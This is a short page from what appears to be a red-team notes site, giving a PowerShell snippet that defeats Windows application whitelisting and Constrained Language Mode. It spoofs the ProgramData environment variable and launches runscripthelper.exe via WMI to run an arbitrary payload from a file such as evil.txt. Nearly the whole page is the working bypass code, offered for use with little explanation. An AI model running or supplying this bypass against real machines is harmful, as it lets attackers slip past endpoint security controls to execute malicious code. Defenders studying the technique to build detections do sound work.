> For the complete documentation index, see [llms.txt](https://otter.gitbook.io/red-teaming/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://otter.gitbook.io/red-teaming/notes/powershell/powershell-snippets/bypass-application-whitelisting-and-clm-with-runscripthelper-and-wmi.md).

# Bypass application whitelisting and CLM with runscripthelper and WMI

The snippet aims at bypassing application whitelisting by executing powershell code contained in a text file using `runscripthelper.exe`.

**This code also bypasses CLM.**

```powershell
# place the payload you want to execute in C:\Test\Microsoft\Diagnosis\scripts\evil.txt
# the filename can be any name and extension you want

[String[]] $AllEnvVarsExceptLockdownPolicy = Get-ChildItem Env:\* -Exclude 'ProgramData' | % { "$($_.Name)=$($_.Value)" }
$AllEnvVarsExceptLockdownPolicy += 'ProgramData=C:\Test'

$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property @{
    EnvironmentVariables = $AllEnvVarsExceptLockdownPolicy
}

# give runscripthelper.exe what it needs to execute our malicious PowerShell
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
    CommandLine = 'C:\Windows\System32\runscripthelper.exe surfacecheck \\?\C:\Test\Microsoft\Diagnosis\scripts\evil.txt C:\Test'
    ProcessStartupInformation = $StartParams
}
```

References:

* [WMI - Windows Management Instrumentation](/red-teaming/notes/powershell/wmi-windows-management-instrumentation.md)